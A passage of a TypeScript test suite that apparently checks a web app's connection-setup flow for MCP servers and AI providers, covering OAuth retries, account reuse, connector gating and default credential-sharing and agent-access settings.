expect(getConnectionMock).toHaveBeenCalledWith(connection.id);
|
||
// Resuming lands on the same single screen it was saved from, not "step 2".
|
||
expect(container.textContent).not.toContain("Step 2 of 2");
|
||
});
|
||
|
||
it.each(["page", "dialog"] as const)("lets %s setup cancel after an invalid provider URL without trying to save it", async (host) => {
|
||
const onCancel = host === "dialog" ? vi.fn() : undefined;
|
||
connectAppMock.mockRejectedValue(new Error("That connection URL does not belong to Zapier"));
|
||
await render(undefined, false, <ConnectionSetupFlow host={host} serviceSlug="zapier" onCancel={onCancel} />);
|
||
await passAccessStep();
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[type="password"]')!, "https://wrong-provider.example/mcp"));
|
||
await act(async () => buttonByText("Connect Zapier")!.click());
|
||
await vi.waitFor(() => expect(container.textContent).toContain("That connection URL does not belong to Zapier"));
|
||
|
||
await act(async () => buttonByText("Cancel")!.click());
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
if (onCancel) expect(onCancel).toHaveBeenCalledOnce();
|
||
else expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
it("inline aggregator reuses an eligible account without changing its access", async () => {
|
||
const onUseExisting = vi.fn().mockResolvedValue(undefined);
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="composio" requestedAgentId="agent-1" interactionId="intent-inline" existingConnections={[{ id: "existing", applicationId: "app", name: "Existing Composio", status: "active", enabled: true }]} onUseExisting={onUseExisting} />);
|
||
await act(async () => buttonContaining("Existing Composio")!.click());
|
||
expect(onUseExisting).toHaveBeenCalledWith("existing");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["mem0", "zep", "supermemory", "cognee", "honcho"])("blocks direct %s setup while memory connectors are off", async (provider) => {
|
||
mockSearch.value = `source=${provider}`;
|
||
await render();
|
||
expect(container.textContent).toContain("Enable memory connectors");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("allows an existing memory connection to reconnect while setup is hidden", async () => {
|
||
mockSearch.value = "source=mem0&reconnect=existing-memory";
|
||
getConnectionMock.mockResolvedValue({ id: "existing-memory", status: "active", config: { sourceTemplateKey: "mem0" } });
|
||
await render();
|
||
expect(getConnectionMock).toHaveBeenCalledWith("existing-memory");
|
||
expect(container.textContent).not.toContain("Enable memory connectors");
|
||
});
|
||
|
||
it.each(["zapier", "arcade", "composio", "executor"])("opens direct %s setup with default settings", async (provider) => {
|
||
mockSearch.value = `source=${provider}`;
|
||
await render();
|
||
expect(container.textContent).not.toContain("Enable MCP aggregators");
|
||
await passAccessStep();
|
||
expect(container.textContent?.includes("MCP server URL")).toBe(provider !== "composio");
|
||
expect(buttonByText("Advanced")).toBeUndefined();
|
||
expect(buttonByText("Change")?.getAttribute("aria-expanded")).toBe("false");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps an existing Composio session URL when its disclosure is closed", async () => {
|
||
mockSearch.value = "source=composio&new=1";
|
||
await render();
|
||
expect(container.querySelector('input[id$="-url"]')).toBeNull();
|
||
await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[id$="-url"]')!, "https://session.example/mcp"));
|
||
await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
expect(container.querySelector('input[id$="-url"]')).toBeNull();
|
||
await act(async () => buttonByText("Connect Composio")!.click());
|
||
await vi.waitFor(() => expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ link: "https://session.example/mcp" })));
|
||
});
|
||
|
||
it("reuses saved Composio accounts for a targeted app setup URL", async () => {
|
||
mockSearch.value = "source=composio&targetToolkit=circleback_mcp";
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ id: "saved-composio", status: "active", enabled: true, transport: "mcp_remote", config: { sourceTemplateKey: "composio", url: "https://connect.composio.dev/mcp" } }] });
|
||
await render();
|
||
await vi.waitFor(() => expect(mockNavigate).toHaveBeenCalledWith("/apps?source=composio&targetToolkit=circleback_mcp", { replace: true }));
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("retains explicit new-account setup even when Composio is saved", async () => {
|
||
mockSearch.value = "source=composio&targetToolkit=circleback_mcp&new=1";
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ id: "saved-composio", status: "active", enabled: true, transport: "mcp_remote", config: { sourceTemplateKey: "composio", url: "https://connect.composio.dev/mcp" } }] });
|
||
await render();
|
||
expect(mockNavigate).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Connect Circleback through Composio");
|
||
});
|
||
|
||
it.each(["arcade", "composio"])("retains the selected upstream app in %s setup without claiming app authorization", async (provider) => {
|
||
mockSearch.value = `source=${provider}&targetToolkit=hubspot`;
|
||
await render();
|
||
expect(container.textContent).toContain(`Connect HubSpot through ${provider === "arcade" ? "Arcade" : "Composio"}`);
|
||
expect(container.textContent).toContain(provider === "composio" ? "sign in to the app in Composio" : "Manage app sign-in in the provider");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("returns completed Arcade gateway setup to Apps without creating an agent task", async () => {
|
||
mockSearch.value = "source=arcade&targetToolkit=hubspot";
|
||
connectAppMock.mockResolvedValue({ connectionId: "new-arcade", connection: { id: "new-arcade", status: "active", credentialPolicy: "shared" }, catalog: [] });
|
||
await render();
|
||
await passAccessStep();
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[id$="-url"]')!, "https://api.arcade.dev/mcp/test"));
|
||
await act(async () => buttonByText("Connect Arcade")!.click());
|
||
await vi.waitFor(() => expect(mockNavigate).toHaveBeenCalledWith("/apps"));
|
||
expect(openAggregatorTaskMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["source=composio", "source=composio&targetToolkit=hubspot"])("opens Composio permissions after gateway setup for %s", async (search) => {
|
||
mockSearch.value = search;
|
||
connectAppMock.mockResolvedValue({ connectionId: "new-composio", connection: { id: "new-composio", status: "active", credentialPolicy: "shared" }, catalog: [] });
|
||
await render();
|
||
await act(async () => buttonByText("Connect Composio")!.click());
|
||
await vi.waitFor(() => expect(mockNavigate).toHaveBeenCalledWith("/apps/new-composio/permissions"));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ grantKind: "organization" }));
|
||
expect(putConnectionInstallsMock).toHaveBeenCalledWith("new-composio", [{ targetType: "company", targetId: "company-1" }]);
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "new-composio", expect.objectContaining({ access: "all_agents" }));
|
||
expect(openAggregatorTaskMock).not.toHaveBeenCalled();
|
||
expect(window.sessionStorage.getItem("paperclip:mcp-upstream-app:company-1:new-composio")).toBeNull();
|
||
});
|
||
|
||
it("recovers upstream app context after a gateway OAuth redirect", async () => {
|
||
window.sessionStorage.setItem("paperclip:mcp-upstream-app:company-1:composio-draft", "hubspot");
|
||
mockSearch.value = "source=composio&resume=composio-draft&oauth=connected";
|
||
getConnectionMock.mockResolvedValue({ id: "composio-draft", status: "draft", credentialPolicy: "per_user", config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp" } });
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Connect HubSpot through Composio"));
|
||
expect(openAggregatorTaskMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["arcade", "composio", "executor"])("explains a failed %s OAuth return and retries the same saved draft", async (provider) => {
|
||
const draft = { id: "conn-oauth-draft", companyId: "company-1", status: "draft", authKind: "oauth", credentialPolicy: "shared", config: { sourceTemplateKey: provider, connectionMethodKey: "mcp", url: "https://example.com/mcp" } };
|
||
mockSearch.value = `source=${provider}&resume=${draft.id}&oauth=failed&code=oauth_callback_failed&error_description=untrusted-provider-message`;
|
||
getConnectionMock.mockResolvedValue(draft);
|
||
connectAppMock.mockResolvedValue({ connectionId: draft.id, connection: draft, catalog: [], auth: { kind: "oauth" } });
|
||
await render();
|
||
await vi.waitFor(() => expect(container.querySelector('[role="alert"]')?.textContent).toContain("Authorization did not complete"));
|
||
expect(container.querySelector<HTMLInputElement>('input[id$="-url"]')?.value).toBe("https://example.com/mcp");
|
||
expect(container.textContent).not.toContain("untrusted-provider-message");
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledWith(draft.id, { asCurrentUser: false }));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ resumeConnectionId: draft.id }));
|
||
expect(navigateTopLevelMock).toHaveBeenCalled();
|
||
});
|
||
|
||
it("explains a declined Composio OAuth return without discarding the draft", async () => {
|
||
mockSearch.value = "source=composio&resume=conn-oauth-draft&oauth=denied&code=oauth_authorization_denied";
|
||
getConnectionMock.mockResolvedValue({ id: "conn-oauth-draft", status: "draft", authKind: "oauth", config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp", url: "https://connect.composio.dev/mcp" } });
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Connection cancelled. Your setup details are preserved"));
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each([
|
||
["shared", "Connects for everyone in your organization", "Any human in the organization", false],
|
||
["per_user", "Connects as you", "Just me", true],
|
||
])("retains the %s identity across an OAuth return without a step to walk back through", async (credentialPolicy, statedDefault, identityLabel, asCurrentUser) => {
|
||
const draft = { id: "conn-oauth-draft", status: "draft", authKind: "oauth", credentialPolicy, config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp", url: "https://connect.composio.dev/mcp" } };
|
||
mockSearch.value = `source=composio&resume=${draft.id}&oauth=denied`;
|
||
getConnectionMock.mockResolvedValue(draft);
|
||
connectAppMock.mockResolvedValue({ connectionId: draft.id, connection: draft, catalog: [], auth: { kind: "oauth" } });
|
||
await render();
|
||
// PAP-659 C0: the retained identity is stated on the one screen instead of
|
||
// being re-confirmed on an Access step the operator has to navigate back to.
|
||
await vi.waitFor(() => expect(container.textContent).toContain(statedDefault));
|
||
// It is also still editable, one disclosure away. Radix unmounts collapsed
|
||
// content, so the controls have to be opened to be asserted at all.
|
||
await act(async () => buttonByText("Change")!.click());
|
||
expect(container.textContent).toContain(identityLabel);
|
||
expect(container.querySelector('[role="radiogroup"][aria-label="Which humans can use this credential?"]')).toBeNull();
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledWith(draft.id, { asCurrentUser }));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ resumeConnectionId: draft.id, grantKind: asCurrentUser ? "user" : "organization" }));
|
||
});
|
||
|
||
it("shows only MCP URL setup on the BYO page", async () => {
|
||
await render(undefined, true);
|
||
|
||
const text = container.textContent ?? "";
|
||
expect(text).toContain("Connect your own MCP server");
|
||
expect(text).not.toContain("More ways to connect");
|
||
expect(text).not.toContain("Run your own");
|
||
expect(text).not.toContain("Paste a config");
|
||
expect(text).not.toContain("Search apps…");
|
||
expect(text).not.toContain("Pick the app you want your agents to use.");
|
||
expect(text).not.toContain("Zapier");
|
||
|
||
const urlInput = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]');
|
||
expect(urlInput).toBeTruthy();
|
||
expect(document.activeElement).toBe(urlInput);
|
||
});
|
||
|
||
it.each(["config-url", "transport-url", "transport-serverUrl"] as const)("reloads a generic task reconnect endpoint from %s with selection-only card metadata", async (source) => {
|
||
const endpoint = "https://archive.example.test/mcp";
|
||
const choice = { id: "conn-archive", applicationId: "app-archive", name: "Archive", status: "active" as const, enabled: true };
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: choice.applicationId, name: "Archive", applicationKey: "archive", type: "mcp_http" }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{
|
||
...choice, companyId: "company-1", transport: "mcp_remote", authKind: "none", credentialPolicy: "shared", credentialSource: "paperclip_vault",
|
||
config: source === "config-url" ? { url: endpoint } : {},
|
||
transportConfig: source === "transport-url" ? { url: endpoint } : source === "transport-serverUrl" ? { serverUrl: endpoint } : {},
|
||
}] });
|
||
getConnectionMock.mockImplementation(async () => (await listConnectionsMock()).connections[0]);
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" configuredConnection={choice} requestedAgentId="agent-1" />);
|
||
const input = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]');
|
||
expect(input?.value).toBe(endpoint);
|
||
expect(listConnectionsMock).toHaveBeenCalledWith("company-1");
|
||
await act(async () => { buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); });
|
||
await flushReact();
|
||
await passAccessStep();
|
||
await act(async () => { buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); });
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
link: endpoint, reconnectConnectionId: choice.id,
|
||
}));
|
||
});
|
||
|
||
it("preserves an edited task reconnect endpoint after refreshing connection data", async () => {
|
||
const choice = { id: "conn-archive", applicationId: "app-archive", name: "Archive", status: "active" as const, enabled: true };
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: choice.applicationId, name: "Archive", applicationKey: "archive", type: "mcp_http" }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ ...choice, companyId: "company-1", transport: "mcp_remote", authKind: "none", credentialPolicy: "shared", credentialSource: "paperclip_vault", config: { url: "https://archive.example.test/mcp" } }] });
|
||
getConnectionMock.mockImplementation(async () => (await listConnectionsMock()).connections[0]);
|
||
await render(client, false, <ConnectionSetupFlow host="dialog" configuredConnection={choice} requestedAgentId="agent-1" />);
|
||
const input = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]');
|
||
expect(input?.value).toBe("https://archive.example.test/mcp");
|
||
await act(async () => setInputValue(input!, "https://edited.example.test/mcp"));
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ ...choice, companyId: "company-1", transport: "mcp_remote", authKind: "none", credentialPolicy: "shared", credentialSource: "paperclip_vault", config: { url: "https://refreshed.example.test/mcp" } }] });
|
||
await act(async () => { await client.invalidateQueries(); });
|
||
await flushReact();
|
||
expect(container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]')?.value).toBe("https://edited.example.test/mcp");
|
||
});
|
||
|
||
it("an unrecognized URL routes to a minimal frame that asks nothing but the address", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).toContain("https://www.example.com/actions");
|
||
// PAP-659 bucket H: the server's probe answers "does it need a key?", so the
|
||
// operator is no longer asked to guess at it before anything has been tried.
|
||
expect(container.textContent).not.toContain("Does it need a key?");
|
||
expect(buttonByText("No")).toBeUndefined();
|
||
expect(buttonByText("Yes")).toBeUndefined();
|
||
expect(
|
||
Array.from(container.querySelectorAll<HTMLInputElement>("input")).some((i) => i.type === "password"),
|
||
).toBe(false);
|
||
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
});
|
||
|
||
it("opens the shared Access step before configuring a pasted MCP server", async () => {
|
||
await render();
|
||
|
||
const linkInput = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).find((input) => input.getAttribute("placeholder")?.startsWith("https://"));
|
||
await act(async () => setInputValue(linkInput!, "https://mcp.example.com/actions"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(radioContaining("Just me")).toBeTruthy();
|
||
expect(radioContaining("Any human in the organization")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Just agents I pick")).toBeTruthy();
|
||
expect(radioContaining("Any agent")?.getAttribute("aria-checked")).toBe("true");
|
||
});
|
||
|
||
it.each([false, true])("gates chat-only cards in the embedded tool gallery without hiding GitHub (%s)", async (enabled) => {
|
||
experimentalMock.mockResolvedValue({ enableChatConnectors: enabled });
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB, getAppStoreDefinition("discord"), getAppStoreDefinition("telegram")] });
|
||
await render();
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent?.includes("Discord")).toBe(enabled);
|
||
expect(container.textContent?.includes("Telegram")).toBe(enabled);
|
||
expect(container.textContent).not.toContain("Chat with an agent");
|
||
});
|
||
|
||
it.each([
|
||
["telegram", "Telegram", "https://t.me/example_bot"],
|
||
["discord", "Discord", "https://discord.com/channels/example"],
|
||
])("does not reveal hidden %s setup from a pasted link or its generic follow-up", async (slug, name, url) => {
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB, getAppStoreDefinition(slug)] });
|
||
await render();
|
||
const input = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]')!;
|
||
await act(async () => setInputValue(input, url));
|
||
await flushReact();
|
||
expect(container.textContent).not.toContain(`This looks like ${name}`);
|
||
expect(buttonByText(`Use ${name}`)).toBeUndefined();
|
||
await act(async () => buttonByText("Continue")!.click());
|
||
await flushReact();
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).not.toContain(`guided setup for ${name}`);
|
||
expect(buttonByText(`Use ${name}`)).toBeUndefined();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("matches GitHub tool URLs independently of gallery search while chat connectors are hidden", async () => {
|
||
await render();
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[placeholder="Search apps…"]')!, "no matching cards"));
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]')!, "https://github.com/example/repository"));
|
||
await flushReact();
|
||
expect(container.textContent).toContain("This looks like GitHub");
|
||
expect(buttonByText("Use GitHub")).toBeTruthy();
|
||
await act(async () => buttonByText("Use GitHub")!.click());
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Connect GitHub as");
|
||
expect(container.textContent).toContain("My GitHub account");
|
||
expect(container.textContent).not.toContain("Chat with an agent");
|
||
});
|
||
|
||
// -------------------------------------------------------------------------
|
||
// Access step (PAP-17835). Identity and agent reach are chosen before any
|
||
// credential is entered.
|
||
// -------------------------------------------------------------------------
|
||
|
||
it.each([false, true])("offers both Anthropic methods without the obsolete REST option (task repair: %s)", async (taskRepair) => {
|
||
const createAiAccount = vi.spyOn(aiConnectionsApi, "create").mockResolvedValue({
|
||
connectionId: "anthropic-ai-account", grantId: "anthropic-ai-grant",
|
||
});
|
||
mockParams.appKey = "anthropic";
|
||
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("anthropic")] });
|
||
const client = new QueryClient({ defaultOptions: { queries: {
|
||
retry: false,
|
||
staleTime: Infinity,
|
||
} } });
|
||
client.setQueryData(queryKeys.environments.list("company-1"), [
|
||
{ id: "local-env", name: "Local", driver: "local", status: "active", config: {} },
|
||
]);
|
||
client.setQueryData(queryKeys.environments.capabilities("company-1"), {});
|
||
client.setQueryData(queryKeys.instance.settings, { defaultEnvironmentId: "local-env" });
|
||
client.setQueryData(queryKeys.instance.generalSettings, {});
|
||
client.setQueryData(queryKeys.health, { deploymentMode: "authenticated", localAiLoginSupported: false });
|
||
await render(client, false, taskRepair ? <ConnectionSetupFlow host="dialog" serviceSlug="anthropic" interactionId="ai-intent" requestedAgentId="agent-1" aiConnection={{ provider: "anthropic", method: "subscription", mode: "responsible_user" }} /> : undefined);
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("Connection name");
|
||
expect(container.textContent).not.toContain("How do you want to connect?");
|
||
expect(radioContaining("Use an API key")).toBeUndefined();
|
||
expect(container.querySelector('[role="alert"]')).toBeNull();
|
||
await act(async () => buttonContaining("Use API key instead")!.click());
|
||
await act(async () => buttonContaining("Claude")!.click());
|
||
await flushReact();
|
||
const key = container.querySelector<HTMLInputElement>('input[type="password"]');
|
||
expect(key).toBeTruthy();
|
||
await act(async () => setInputValue(key!, "fixture-anthropic-ai-key"));
|
||
await act(async () => buttonByText("Connect")!.click());
|
||
await flushReact();
|
||
expect(createAiAccount).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
provider: "anthropic", method: "api_key", apiKey: "fixture-anthropic-ai-key",
|
||
}));
|
||
if (!taskRepair) expect(mockNavigate).toHaveBeenCalledWith("/apps/anthropic-ai-account/permissions");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Connect for tool access instead");
|
||
});
|
||
|
||
it.each([false, true])("opens Copilot with visible personal defaults and shares only by explicit choice (%s)", async (share) => {
|
||
mockSearch.value = "source=github&method=copilot-token";
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB] });
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false, staleTime: Infinity } } });
|
||
client.setQueryData(queryKeys.environments.list("company-1"), [
|
||
{ id: "local-env", name: "Local", driver: "local", status: "active", config: {} },
|
||
]);
|
||
client.setQueryData(queryKeys.instance.settings, { defaultEnvironmentId: "local-env" });
|
||
const createAiAccount = vi.spyOn(aiConnectionsApi, "create").mockResolvedValue({
|
||
connectionId: "copilot-ai-account", grantId: "copilot-ai-grant",
|
||
});
|
||
await render(client);
|
||
await passAccessStep();
|
||
expect(container.textContent).toContain("personal fine-grained token with Copilot Requests permission");
|
||
expect(container.querySelector('input[placeholder="github_pat_..."]')).toBeTruthy();
|
||
expect(container.querySelector('[aria-label="Copilot execution environment"]')).toBeTruthy();
|
||
expect(container.textContent).not.toContain("You must connect this instance to Paperclip");
|
||
expect(getCloudConnectorEnrollmentMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Connects as you");
|
||
expect(container.textContent?.match(/Connects as you/g)).toHaveLength(1);
|
||
expect(container.textContent).toContain("Connect GitHub Copilot");
|
||
await openAccessAdvanced();
|
||
expect(radioContaining("My GitHub account")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Only agents I choose")?.getAttribute("aria-checked")).toBe("true");
|
||
expect(radioContaining("Any agent")?.getAttribute("aria-checked")).toBe("false");
|
||
if (share) {
|
||
await act(async () => radioContaining("Shared organization GitHub account")!.click());
|
||
await act(async () => radioContaining("Any agent")!.click());
|
||
}
|
||
const key = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
await act(async () => setInputValue(key, "fixture-copilot-token"));
|
||
await act(async () => buttonByText("Connect")!.click());
|
||
await flushReact();
|
||
expect(createAiAccount).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
provider: "github", method: "api_key", apiKey: "fixture-copilot-token",
|
||
ownership: share ? "shared" : "personal", allAgents: share, agentIds: [],
|
||
environmentId: "local-env",
|
||
}));
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/copilot-ai-account/permissions");
|
||
});
|
||
|
||
it("states the GitHub identity default and keeps its controls one click away", async () => {
|
||
mockParams.appKey = "github";
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
await render();
|
||
|
||
// PAP-659 C0: the default is printed, not asked. Nothing about identity or
|
||
// reach blocks the primary action.
|
||
expect(container.textContent).toContain("Connects as you, available to all agents.");
|
||
expect(container.textContent).not.toContain("Connect GitHub as");
|
||
expect(container.querySelector('[role="radio"]')).toBeNull();
|
||
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Connect GitHub as");
|
||
expect(container.textContent).toContain("Which agents may use your GitHub when you’re responsible?");
|
||
expect(container.textContent).not.toContain("Choose access before adding credentials");
|
||
expect(container.textContent).not.toContain("Set the identity and agent reach first");
|
||
expect(container.textContent).not.toContain("Which humans can use this credential?");
|
||
expect(container.textContent).not.toContain("Choose where this connection will be available.");
|
||
// Nothing about the credential itself is on screen yet.
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
|
||
const radios = Array.from(document.body.querySelectorAll('[role="radio"]'));
|
||
const myAccount = radios.find((r) => r.textContent?.includes("My GitHub account"));
|
||
const dedicated = radios.find((r) => r.textContent?.includes("A dedicated account for an agent"));
|
||
const agentsIPick = radios.find((r) => r.textContent?.includes("Only agents I choose"));
|
||
const anyAgent = radios.find((r) => r.textContent?.includes("Any agent"));
|
||
expect(myAccount).toBeTruthy();
|
||
expect(dedicated).toBeTruthy();
|
||
expect(myAccount?.textContent).toContain("Agents use it only for runs where you are the responsible person.");
|
||
expect(dedicated?.textContent).toContain("That agent always uses this account, regardless of who starts the run.");
|
||
expect(agentsIPick?.textContent).toContain("Only selected agents may use your GitHub when you’re responsible.");
|
||
expect(anyAgent?.textContent).toContain("Every agent may use your GitHub when you’re responsible.");
|
||
expect(myAccount?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(1);
|
||
expect(dedicated?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(1);
|
||
expect(agentsIPick?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(1);
|
||
expect(anyAgent?.querySelectorAll('[data-slot="radio-card-icon"] svg')).toHaveLength(2);
|
||
expect(myAccount?.getAttribute("aria-checked")).toBe("true");
|
||
expect(dedicated?.getAttribute("aria-checked")).toBe("false");
|
||
// Every agent is the default reach for the responsible person's identity.
|
||
expect(agentsIPick?.getAttribute("aria-checked")).toBe("false");
|
||
expect(anyAgent?.getAttribute("aria-checked")).toBe("true");
|
||
});
|
||
|
||
it("keeps provider guidance and card styling out of the access controls", async () => {
|
||
mockParams.appKey = "pagerduty";
|
||
listGalleryMock.mockResolvedValue({ apps: [PAGERDUTY] });
|
||
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).not.toContain("A PagerDuty API token");
|
||
expect(container.textContent).not.toContain("Use a customer-created PagerDuty key");
|
||
expect(container.textContent).not.toContain("Review PagerDuty setup requirements");
|
||
|
||
const accessHeading = Array.from(container.querySelectorAll("h2")).find(
|
||
(heading) => heading.textContent === "Which humans can use this credential?",
|
||
);
|
||
const accessCard = accessHeading?.closest(".overflow-hidden");
|
||
expect(accessCard).toBeTruthy();
|
||
expect(accessCard?.classList.contains("bg-card")).toBe(false);
|
||
expect(accessCard?.classList.contains("shadow-sm")).toBe(false);
|
||
});
|
||
|
||
it("defaults to every agent and states an empty explicit selection", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
// PAP-659 C0: narrowing reach never blocks Connect. An empty selection is
|
||
// reported in the stated default instead of disabling the primary action.
|
||
expect(container.textContent).toContain("available to all agents.");
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((r) => r.textContent?.includes("Only agents I choose"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("no agents selected yet.");
|
||
});
|
||
|
||
it("reflects a changed access selection in the stated default", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
await openAccessAdvanced();
|
||
|
||
await act(async () => {
|
||
Array.from(document.body.querySelectorAll('[role="radio"]'))
|
||
.find((r) => r.textContent?.includes("Only agents I choose"))
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
// The sentence above the primary action is the only place this is said, so
|
||
// it has to track the controls rather than print a fixed default.
|
||
expect(container.textContent).toContain("no agents selected yet");
|
||
|
||
const radios = Array.from(document.body.querySelectorAll('[role="radio"]'));
|
||
expect(radios.find((r) => r.textContent?.includes("Only agents I choose"))
|
||
?.getAttribute("aria-checked")).toBe("true");
|
||
});
|
||
|
||
it("returns to the pending skill import when GitHub setup is cancelled", async () => {
|
||
mockParams.appKey = "github";
|
||
rememberSkillSourceReturn("company-1", "new");
|
||
await render();
|
||
await act(async () => buttonByText("Cancel")?.click());
|
||
expect(mockNavigate).toHaveBeenCalledWith("/skills/sources/new");
|
||
expect(skillSourceReturnPath("company-1")).toBeNull();
|
||
});
|
||
|
||
it("uses Cancel to exit while the bottom Back button stays in the wizard", async () => {
|
||
mockParams.appKey = "github";
|
||
await render();
|
||
|
||
await act(async () => {
|
||
buttonByText("Cancel")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
/**
|
||
* Company-wide is a default, not a restriction. Flexible API-key and OAuth
|
||
* methods must still let the operator deliberately choose a personal identity.
|
||
*/
|
||
it("defaults flexible methods to company identity and keeps personal credentials submittable", async () => {
|
||
mockSearch.value = "source=posthog&method=mcp-api-key";
|
||
listGalleryMock.mockResolvedValue({ apps: [{ ...POSTHOG, methods: POSTHOG.methods.filter((method) => method.key === "mcp-api-key") }] });
|
||
|
